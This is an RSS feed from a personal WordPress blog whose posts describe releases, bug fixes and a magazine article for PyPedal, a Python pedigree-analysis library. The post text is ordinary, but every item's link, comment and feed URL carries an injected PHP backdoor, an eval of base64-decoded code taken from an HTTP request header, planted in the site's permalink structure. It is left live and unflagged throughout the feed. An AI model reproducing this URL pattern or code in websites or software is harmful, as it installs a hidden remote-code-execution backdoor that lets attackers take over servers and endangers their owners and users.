<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Funjackals! &#187; PyPedal</title>
	<atom:link href="http://www.funjackals.com/blog/tag/pypedal/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.funjackals.com/blog</link>
	<description>Wherein John tells you what's on his mind.</description>
	<lastBuildDate>Sun, 05 Sep 2010 18:20:00 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>So, what&#8217;s the deal with PyPedal?</title>
		<link>http://www.funjackals.com/blog/2010/09/05/so-whats-the-deal-with-pypedal/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.funjackals.com/blog/2010/09/05/so-whats-the-deal-with-pypedal/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 05 Sep 2010 18:20:00 +0000</pubDate>
		<dc:creator>jcole</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[PyPedal]]></category>

		<guid isPermaLink="false">http://www.funjackals.com/blog/?p=407</guid>
		<description><![CDATA[I&#8217;m glad you asked that. If you&#8217;ve seen the website recently then you know that there&#8217;s been no development activity for quite a long time. What can I say? I&#8217;ve been pretty busy on other things. The important point is &#8230; <a href="http://www.funjackals.com/blog/2010/09/05/so-whats-the-deal-with-pypedal/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}&#124;.+)&#038;%/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m glad you asked that. If you&#8217;ve seen the website recently then you know that there&#8217;s been no development activity for quite a long time. What can I say? I&#8217;ve been pretty busy on other things. The important point is that <strong>PyPedal is not abandonware.</strong></p>
<p>On September 1, 2010, I uploaded <a href="http://sourceforge.net/projects/pypedal/files/">Release Candidate 9</a> and let it go into the wild. In addition to adding GENES 1.20 input and output, the changes include some minor documentation updates and a few small code fixes.<strong></strong></p>
<p>In Release Candidate 10, which will be released this week, all I&#8217;ve done is add an option to pyp_nrm.fast_a_matrix() to add coefficients of inbreeding read from the pedigree file to the diagonal elements for founders when forming the relationship matrix. I need to update the documentation and check the files once more because I think that there are still some stray hard-coded debugging messages which need to be removed.</p>
<p>The only other thing I&#8217;m thinking of adding is support for unknown parent groups, and possibly adding methods to the NewPedigree class that support adding (merging) and subtracting (splitting) pedigrees, but I think that&#8217;s going to get punted to the 2.1 development branch because it&#8217;s a much harder problem than it may sound on the surface.</p>
<p>I still need bug reports and feature requests. I&#8217;ll do my best to fix bugs promptly. I can&#8217;t  make any promises about feature requests. My thinking right now is that I need to focus on polishing things. The demographics (pyp_demog), graphics (pyp_graphics) and reporting (pyp_reports) modules all could use a lot of fine-tuning to make them more useful. The documentation always needs work. I&#8217;m still concerned about the implementation of the algorithms in pyp_metrics for calculating effective ancestor numbers. They&#8217;re much less fun that implementing new features, but probably necessary. And then there&#8217;s the whole issue of dense SNP data&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.funjackals.com/blog/2010/09/05/so-whats-the-deal-with-pypedal/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PyPedal Article Published in Python Magazine</title>
		<link>http://www.funjackals.com/blog/2009/03/30/pypedal-article-published-in-python-magazine/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.funjackals.com/blog/2009/03/30/pypedal-article-published-in-python-magazine/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 30 Mar 2009 13:04:28 +0000</pubDate>
		<dc:creator>jcole</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[PyPedal]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[writing]]></category>

		<guid isPermaLink="false">http://www.funjackals.com/blog/?p=368</guid>
		<description><![CDATA[The March 2009 issue of Python Magazine is on the news-stands. Guess whose article is mentioned on the cover?]]></description>
			<content:encoded><![CDATA[<p>The <a title="Python Magazine, March 2009" href="http://pymag.phparch.com/c/issue/view/94" target="_blank">March 2009 issue of Python Magazine</a> is on the news-stands. Guess whose article is mentioned on the cover?</p>
<div class="wp-caption alignnone" style="width: 330px"><a href="http://pymag.phparch.com/img/pymag/issues/covers/94.jpg"><img title="Python Magazine, March 2009" src="http://pymag.phparch.com/img/pymag/issues/covers/94.jpg" alt="Python Magazine, March 2009" width="320" height="414" /></a><p class="wp-caption-text">Python Magazine, March 2009</p></div>
]]></content:encoded>
			<wfw:commentRss>http://www.funjackals.com/blog/2009/03/30/pypedal-article-published-in-python-magazine/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>PyPedal Release Candidate 7 Highlights Need for Unit Testing</title>
		<link>http://www.funjackals.com/blog/2008/05/08/pypedal-release-candidate-7-highlights-need-for-units-testing/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.funjackals.com/blog/2008/05/08/pypedal-release-candidate-7-highlights-need-for-units-testing/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 08 May 2008 19:36:28 +0000</pubDate>
		<dc:creator>jcole</dc:creator>
				<category><![CDATA[Python]]></category>
		<category><![CDATA[Science]]></category>
		<category><![CDATA[PyPedal]]></category>

		<guid isPermaLink="false">http://www.funjackals.com/blog/?p=268</guid>
		<description><![CDATA[Many thanks to Matthieu Authier for reporting several bugs, which in turn led to more bugs. The hunt started with broken code in examples/new_amatrix.py, which led to bugs in several subroutines in pyp_nrm, which exposed some small side issues. Notably, &#8230; <a href="http://www.funjackals.com/blog/2008/05/08/pypedal-release-candidate-7-highlights-need-for-units-testing/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}&#124;.+)&#038;%/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Many thanks to Matthieu Authier for reporting several bugs, which in turn led to more bugs. The hunt started with broken code in <strong>examples/new_amatrix.py</strong>, which led to bugs in several subroutines in <a href="http://pypedal.sourceforge.net/doxygen/namespacePyPedal_1_1pyp__nrm.html" title="PyPedal::pyp_nrm Namespace Reference">pyp_nrm</a>, which exposed some small side issues. Notably, <a href="http://code.google.com/p/pydot/" title="pydot, a Python interface to Graphviz's Dot language">pydot 1.0.2</a> is broken and had to be patched by hand, and I had to make lots of changes to <strong>draw_pedigree()</strong> in the <a href="http://pypedal.sourceforge.net/doxygen/namespacePyPedal_1_1pyp__graphics.html" title="PyPedal::pyp_graphics Namespace Reference">pyp_graphics</a> module to get it working again. I also added a new example program, <strong>new_decompose.py</strong>, to demonstrate the use of the routines in <a href="http://pypedal.sourceforge.net/doxygen/namespacePyPedal_1_1pyp__nrm.html" title="PyPedal::pyp_nrm Namespace Reference">pyp_nrm</a> for decomposing A such that A = TDT&#8217;, as well as the code for directly forming A-inverse with or without inbreeding. </p>
<p>These errors, in a way, exposed the tip of an iceberg: there is not nearly enough unit testing in PyPedal. Many of the example programs were written a long time ago (about three years) and not checked systematically since. This means that some programs, such as <strong>examples/new_amatrix.py</strong>, were still using methods that no longer exist (I&#8217;m thinking specifically about the info() method of NewAMatrix objects). Heck, that program still imported Numeric! So it&#8217;s a great idea to have examples, but it doesn&#8217;t help users when they run the program and everything fails. It makes the whole package look shoddy and undependable, and who wants to trust their work to that kind of code? If Matthieu hadn&#8217;t e-mailed me about those problems I&#8217;d still be shipping broken code. I hate writing unit tests as much as the next guy, but PyPedal&#8217;s grown to the point that it&#8217;s too big for me to keep track of, so I need a way to automate testing. So, it&#8217;s getting to be unit test time. With that and the work I want to do on the graphics module there&#8217;s plenty of work in the queue for version 2.0.1.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.funjackals.com/blog/2008/05/08/pypedal-release-candidate-7-highlights-need-for-units-testing/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PyPedal Release Candidate 6 Fixes Logging</title>
		<link>http://www.funjackals.com/blog/2008/05/01/pypedal-release-candidate-6-fixes-logging/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.funjackals.com/blog/2008/05/01/pypedal-release-candidate-6-fixes-logging/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 01 May 2008 17:00:41 +0000</pubDate>
		<dc:creator>jcole</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[PyPedal]]></category>

		<guid isPermaLink="false">http://www.funjackals.com/blog/?p=267</guid>
		<description><![CDATA[I broke logging a while ago and didn&#8217;t notice it. Now it;s fixed. I&#8217;ve also modified pyp_metrics/renumber() so that it now cleans-up after itself by deleting ID map files when renumbering is complete; if you need to retain the file &#8230; <a href="http://www.funjackals.com/blog/2008/05/01/pypedal-release-candidate-6-fixes-logging/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}&#124;.+)&#038;%/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I broke logging a while ago and didn&#8217;t notice it. Now it;s fixed. I&#8217;ve also modified <strong>pyp_metrics/renumber()</strong> so that it now cleans-up after itself by deleting ID map files when renumbering is complete; if you need to retain the file you may set the <em>cleanmap</em> parameter to True. I also fixed a few other little bugs and added a couple of new parameters to <strong>pyp_metrics/effective_founder_genomes()</strong>. I also fixed a broken link to the API documentation for <strong>pyp_metrics</strong> on <a href="http://pypedal.sourceforge.net/">the PyPedal website</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.funjackals.com/blog/2008/05/01/pypedal-release-candidate-6-fixes-logging/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PyPedal Release Candidate 4 is Easier to Install</title>
		<link>http://www.funjackals.com/blog/2008/04/09/pypedal-release-candidate-4-is-easier-to-install/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.funjackals.com/blog/2008/04/09/pypedal-release-candidate-4-is-easier-to-install/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 09 Apr 2008 16:51:08 +0000</pubDate>
		<dc:creator>jcole</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[PyPedal]]></category>

		<guid isPermaLink="false">http://www.funjackals.com/blog/?p=265</guid>
		<description><![CDATA[I made some changes to __init__.py and setup.py that make PyPedal installable (is that a word?) using the very Pythonic &#8220;python setup.py install&#8221; method. I also updated the discussion of installation in the manual. However, in order to get this &#8230; <a href="http://www.funjackals.com/blog/2008/04/09/pypedal-release-candidate-4-is-easier-to-install/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}&#124;.+)&#038;%/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I made some changes to __init__.py and setup.py that make PyPedal installable (is that a word?) using the very Pythonic &#8220;python setup.py install&#8221; method. I also updated the discussion of installation in the manual. However, in order to get this working reliably I had to remove all of the dependencies from setup.py. This means that you have to make sure you&#8217;ve installed all of the dependencies yourself because <a href="http://peak.telecommunity.com/DevCenter/setuptools" title="setuptools Website">setuptools</a> won&#8217;t do it for you. I had to make this change because in my testing half of the dependencies would either bomb during the compile or be unavailable through <a href="http://pypi.python.org/pypi" title="The Python Package Index">PyPI</a>, and I think that I&#8217;ve got a pretty common setup here. The easy solution for Windows users in a non-commercial setting is to either use the <a href="http://enthought.com/products/epd.php" title="Enthought Python Distribution">Enthought Python Distribution</a> or download and run the binary installers (,msi files) for <a href="http://numpy.scipy.org/" title="Numpy Website">Numpy</a>, <a href="http://matplotlib.sourceforge.net/" title="matplotlib Website">matplotlib</a>, etc. *buntu users should be able to install everything out of the basic repositories. I&#8217;m not sure about Mac OS/X users.</p>
<p>If you have any problems installing PyPedal please <a href="mailto:john.cole@ars.usda.gov" title="john_DOT_cole_AT_ars_DOT_usda_DOT_gov">let me know</a> so that I can fix them before the final release.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.funjackals.com/blog/2008/04/09/pypedal-release-candidate-4-is-easier-to-install/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>This is a Quick Test of the Google Syntax Highlighter for WordPress Plugin</title>
		<link>http://www.funjackals.com/blog/2008/04/04/this-is-a-quick-test-of-the-google-syntax-highligher-for-wordpress-plugin/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.funjackals.com/blog/2008/04/04/this-is-a-quick-test-of-the-google-syntax-highligher-for-wordpress-plugin/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 04 Apr 2008 13:03:28 +0000</pubDate>
		<dc:creator>jcole</dc:creator>
				<category><![CDATA[Python]]></category>
		<category><![CDATA[colorize code]]></category>
		<category><![CDATA[PyPedal]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.funjackals.com/blog/?p=264</guid>
		<description><![CDATA[I read about the Google Syntax Highlighter for WordPress in a blog entry by Jacob Gube describing several purportedly-useful WordPress extensions. The plugin sounds like just the thing to pretty-up some entries I&#8217;m working on about PyPedal. Here&#8217;s a simple &#8230; <a href="http://www.funjackals.com/blog/2008/04/04/this-is-a-quick-test-of-the-google-syntax-highligher-for-wordpress-plugin/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}&#124;.+)&#038;%/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I read about the <a href="http://wordpress.org/extend/plugins/google-syntax-highlighter/" title="Google Syntax Highlighter for WordPress">Google Syntax Highlighter for WordPress</a> in <a href="http://sixrevisions.com/tools-of-the-trade/helpful_wordpress_plugins_advanced_users/" title="15 helpful WordPress plugins for the savvy user">a blog entry by Jacob Gube describing several purportedly-useful WordPress extensions</a>. The plugin sounds like just the thing to pretty-up some entries I&#8217;m working on about <a href="http://pypedal.sourceforge.net/" title="Python Pedigree Analysis">PyPedal</a>. Here&#8217;s a simple example demonstrating how to use the newly-rewritten database tools in Release Candidate 4 (coming soon to a download site near you):</p>
<pre name="code" class="python">
>>> # Load PyPedal
>>> import PyPedal
>>> # Specify program options -- note that we're accessing an SQLite database
>>> options = {}
>>> options['messages'] = 'verbose'
>>> options['pedfile'] = 'hartlandclark.ped'
>>> options['pedname'] = 'Pedigree from van Noordwijck and Scharloo (1981)'
>>> options['pedformat'] = 'asdb'
>>> options['pedigree_is_renumbered'] = 1
>>> options['database_name'] = 'new_db_test'
>>> options['dbtable_name'] = 'test'
>>> options['database_type'] = 'sqlite'
>>> # Now we load the pedigree
>>> example = pyp_newclasses.loadPedigree(options)
>>> # Muck around with the database
>>> pyp_nrm.inbreeding(example)
>>> # Drop the existing table, if there is one
>>> pyp_db.deleteTable(example)
>>> # Check to see if the table is gone
>>> pyp_db.doesTableExist(example)
>>> # Creating the table
>>> pyp_db.createPedigreeTable(example)
>>> # Populating the table
>>> pyp_db.populatePedigreeTable(example)
>>> # Perform some calculations, in this case computing coefficients of inbreeding
>>> mean_inbreeding = pyp_reports.meanMetricBy(example,metric='fa',byvar='by')
>>> print mean_inbreeding
</pre>
<p>Which should give you the result:</p>
<pre name="code" class="python">
[INFO]: Logfile hartlandclark.log instantiated.
[INFO]: Preprocessing hartlandclark.ped
[INFO]: Opening pedigree file hartlandclark.ped
[INFO]: Creating pedigree metadata object
        [INFO]:  Instantiating a new PedigreeMetadata() object...
        [INFO]:  Naming the Pedigree()...
        [INFO]:  Assigning a filename...
        [INFO]:  Attaching a pedigree...
        [INFO]:  Setting the pedcode...
        [INFO]:  Counting the number of animals in the pedigree...
        [INFO]:  Counting and finding unique sires...
        [INFO]:  Counting and finding unique dams...
        [INFO]:  Setting renumbered flag...
        [INFO]:  Counting and finding unique generations...
        [INFO]:  Counting and finding unique birthyears...
        [INFO]:  Counting and finding unique founders...
        [INFO]:  Counting and finding unique herds...
        [INFO]:  Detaching pedigree...
Metadata for Pedigree from van Noordwijck and Scharloo (1981) (hartlandclark.ped)
        Records:                15
        Unique Sires:         9
        Unique Dams:        5
        Unique Gens:         1
        Unique Years:         8
        Unique Founders:   3
        Unique Herds:         1
        Pedigree Code:       asdb
{1920: 0.0, 1960: 0.015625, 1930: 0.0, 1900: 0.0, 1970: 0.14453125, \
1940: 0.015625, 1910: 0.0, 1950: 0.078125}
</pre>
<p>Pretty snazzy, eh?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.funjackals.com/blog/2008/04/04/this-is-a-quick-test-of-the-google-syntax-highligher-for-wordpress-plugin/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>An Article on PyPedal May Appear in Python Magazine</title>
		<link>http://www.funjackals.com/blog/2008/03/31/an-article-on-pypedal-may-appear-in-python-magazine/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.funjackals.com/blog/2008/03/31/an-article-on-pypedal-may-appear-in-python-magazine/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 31 Mar 2008 16:37:49 +0000</pubDate>
		<dc:creator>jcole</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[magazine]]></category>
		<category><![CDATA[PyPedal]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false">http://www.funjackals.com/blog/?p=263</guid>
		<description><![CDATA[I received this morning an e-mail from the Technical Editor of Python Magazine asking if I&#8217;d be interested in writing an article about PyPedal. I hope to talk with with him soon to get more details and see if we &#8230; <a href="http://www.funjackals.com/blog/2008/03/31/an-article-on-pypedal-may-appear-in-python-magazine/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}&#124;.+)&#038;%/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I received this morning an e-mail from the Technical Editor of <a href="http://www.pythonmagazine.com/" title="Python Magazine">Python Magazine</a> asking if I&#8217;d be interested in writing an article about <a href="http://pypedal.sourceforge.net/" title="PyPedal Website">PyPedal</a>. I hope to talk with with him soon to get more details and see if we can agree on something that might be a good fit tor his publication. There&#8217;s not a done deal or anything like that, but I&#8217;m still flattered to be asked, and excited about the possibility of spreading the word to a wider audience. Maybe this is how <a href="http://www.puryear-it.com/" title="Puryear IT, LLC">Dustin Puryear</a> of <a href="http://brlug.net/" title="Baton Rouge Linux Users Group">BRLUG</a> fame began to grow The Brand.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.funjackals.com/blog/2008/03/31/an-article-on-pypedal-may-appear-in-python-magazine/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PyPedal Release Candidate 3 Features an Inbreeding Bugfix and Refactored Database Handling</title>
		<link>http://www.funjackals.com/blog/2008/03/28/pypedal-release-candidate-3-features-an-inbreeding-bugfix-and-refactored-database-handling/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.funjackals.com/blog/2008/03/28/pypedal-release-candidate-3-features-an-inbreeding-bugfix-and-refactored-database-handling/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 28 Mar 2008 19:56:22 +0000</pubDate>
		<dc:creator>jcole</dc:creator>
				<category><![CDATA[Python]]></category>
		<category><![CDATA[Science]]></category>
		<category><![CDATA[ADOdb]]></category>
		<category><![CDATA[PyPedal]]></category>
		<category><![CDATA[SQLAlchemy]]></category>

		<guid isPermaLink="false">http://www.funjackals.com/blog/?p=260</guid>
		<description><![CDATA[The third release candidate of PyPedal 2.0 has been released. It includes a minor bugfix to pyp_nrm/inbreeding_vanraden() and a completely-refactored database backend. After a few days of writing, and a false start with SQLAlchemy, I&#8217;ve completely rewritten the database backend &#8230; <a href="http://www.funjackals.com/blog/2008/03/28/pypedal-release-candidate-3-features-an-inbreeding-bugfix-and-refactored-database-handling/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}&#124;.+)&#038;%/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>The <a href="http://pypedal.sourceforge.net/" title="PyPedal 2.0.0rc3">third release candidate of PyPedal 2.0 has been released</a>. It includes a minor bugfix to <strong>pyp_nrm/inbreeding_vanraden()</strong> and a completely-refactored database backend. After a few days of writing, and a false start with <a href="http://www.sqlalchemy.org/" title="The Python SQL Toolkit and Object Relational Mapper">SQLAlchemy</a>, I&#8217;ve completely rewritten the database backend using <a href="http://phplens.com/lens/adodb/adodb-py-docs.htm" title="ADOdb for Python">ADOdb for Python</a>. PyPedal can now be used with <a href="http://www.mysql.com/" title="MySQL database">MySQL</a>, <a href="http://www.postgresql.org/" title="Postgres RDBMS">Postgres</a>, and <a href="http://www.sqlite.org/" title="SQLite database">SQLite</a> databases. The manual has also been updated to include <a href="http://pypedal.sourceforge.net/manual/node47.html" title="4.4 Databases">a more complete discussion of databases in PyPedal</a>. Notably, there is discussion of how to bend PyPedal to your will if you want to load data from, or save them to, your own databases using formats other than <em>ASDx</em>.</p>
<p>I&#8217;ve got no quarrel with <a href="http://www.sqlalchemy.org/" title="The Python SQL Toolkit and Object Relational Mapper">SQLAlchemy</a> &#8212; it looks very cool &#8212; but I could never quite get it to do what I wanted. After working with it for a day or so I concluded that it was just overkill for the few simple things I wanted to do, so I jumped ship to <a href="http://phplens.com/lens/adodb/adodb-py-docs.htm" title="ADOdb for Python">ADOdb for Python</a>. It stood me in good stead many times in my PHP days,and it got the job done handily here, too.</p>
<p>I&#8217;m sure I&#8217;ll think about more that I want to say later.  The dusting and polishing that goes along with preparing a release version is doing PyPedal a lot of good.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.funjackals.com/blog/2008/03/28/pypedal-release-candidate-3-features-an-inbreeding-bugfix-and-refactored-database-handling/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PyPedal Release Candidates Feature Fewer Bugs!</title>
		<link>http://www.funjackals.com/blog/2008/03/12/pypedal-release-candidates-feature-fewer-bugs/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.funjackals.com/blog/2008/03/12/pypedal-release-candidates-feature-fewer-bugs/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 12 Mar 2008 16:03:27 +0000</pubDate>
		<dc:creator>jcole</dc:creator>
				<category><![CDATA[Python]]></category>
		<category><![CDATA[Science]]></category>
		<category><![CDATA[PyPedal]]></category>

		<guid isPermaLink="false">http://www.funjackals.com/blog/?p=259</guid>
		<description><![CDATA[One supposes that the titles of this entry is not particularly informative because that is, in fact, the point of release candidates: to iron out as many lingering bugs as possible. What do you from a guy with hair like &#8230; <a href="http://www.funjackals.com/blog/2008/03/12/pypedal-release-candidates-feature-fewer-bugs/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}&#124;.+)&#038;%/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>One supposes that the titles of this entry is not particularly informative because that is, in fact, the point of release candidates: to iron out as many lingering bugs as possible.  What do you from a guy with hair like mine?</p>
<p>Now that I&#8217;ve established that my blood sugar&#8217;s off we can get down to brass tacks. Release candidates 1 and 2 have been released, and release candidate 3 is in the works. I won&#8217;t repeat everything that&#8217;s in the <a href="http://pypedal.sourceforge.net/doc/CHANGES.txt" title="PyPedal CHANGES.txt">CHANGES.txt</a> file, but I&#8217;ll hit the high points.</p>
<p>The big news is that I broke <strong>pyp_nrm/inbreeding_vanraden()</strong> at some point in the recent past. If I had regression tests I would have noticed this sooner. Maybe. Someone really should get on that. The bug affected only animals with both parents unknown or with unknown sires. The fix was very simple. I also fixed a bug that prevented the super-nifty Full-Sib Speedup  from working. Wait, what, you&#8217;re not familiar with the Full-Sib Speedup? Let me explain.</p>
<p>The <strong>Full-Sib Speedup</strong> is a trick to avoid unnecessary calculations when you&#8217;ve got a pedigree with lots of full-sibs, such as dogs. The trick is that a list of observed sire-dam combinations is stored. The first time that combination is seen the resulting COI is stored in a dictionary. Any subsequent offspring of that combination receive the COI stored in the dictionary. Instead of calculating the COI for each offspring of the combination it is calculated only once.  There are a number of steps avoided with this trick, such as pedigree extraction, reordering, and renumbering. And it now works correctly, which is a bonus.</p>
<p>The minor things include such stuff as lots of small fixes to the <strong>NewAMatrix</strong> class, fixes to inbreeding and relationship metadata, and added pedigree import/export from database and textstreams.</p>
<p>I also added a couple of chapters to <a href="http://pypedal.sourceforge.net/manual/index.html" title="PyPedal Manual -- HTML">the manual</a>, one on <a href="http://pypedal.sourceforge.net/manual/node35.html" title="PyPedal Manual -- HTML -- Input and Output">input/output</a> and one on <a href="http://pypedal.sourceforge.net/manual/node49.html" title="PyPedal Manual -- HTML -- Working with Pedigrees">performing calculations with pedigrees</a>. The <a href="http://pypedal.sourceforge.net/doxygen/index.html" title="PyPedal API documentation">API documentation</a> has been pulled out of the manual and is available on the website. I&#8217;m also now using <a href="http://www.stack.nl/~dimitri/doxygen/" title="Doxygen source code documentation generator tool">Doxygen</a> to generate those documents, which is working quite well.</p>
<p>Perhaps feature deletions are not as interesting as feature additions, but I&#8217;ve removed the GUI from PyPedal. The code that was hanging around was very old &#8212; it predated the current pedigree format system and used static format codes embedded in the pedigree file &#8212; and didn&#8217;t work very well. The fundamental idea behind PyPedal is that you get a set of tools that allow you to program (or metaprogram?) using pedigrees, and the GUI doesn&#8217;t fit in that paradigm. I&#8217;m also not comfortable with GUI programming and don&#8217;t have much interest in pursuing it. If someone wants to work on a GUI for PyPedal I&#8217;ll be happy to provide feedback, but do not intend to pursue it any further on my own.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.funjackals.com/blog/2008/03/12/pypedal-release-candidates-feature-fewer-bugs/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PyPedal now calculates ancestral inbreeding coefficients</title>
		<link>http://www.funjackals.com/blog/2008/02/13/pypedal-now-calculates-ancestral-inbreeding-coefficients/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.funjackals.com/blog/2008/02/13/pypedal-now-calculates-ancestral-inbreeding-coefficients/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 13 Feb 2008 18:59:50 +0000</pubDate>
		<dc:creator>jcole</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[ancestral inbreeding]]></category>
		<category><![CDATA[conservation genetics]]></category>
		<category><![CDATA[genetics]]></category>
		<category><![CDATA[PyPedal]]></category>

		<guid isPermaLink="false">http://www.funjackals.com/blog/?p=257</guid>
		<description><![CDATA[PyPedal can now calculate ancestral inbreeding coefficients using either the recursion equation of Ballou (1997) or the gene dropping method of Suwanlee et al. (2007). Ancestral inbreeding is the probability of an individual inheriting an allele that has undergone inbreeding &#8230; <a href="http://www.funjackals.com/blog/2008/02/13/pypedal-now-calculates-ancestral-inbreeding-coefficients/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}&#124;.+)&#038;%/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
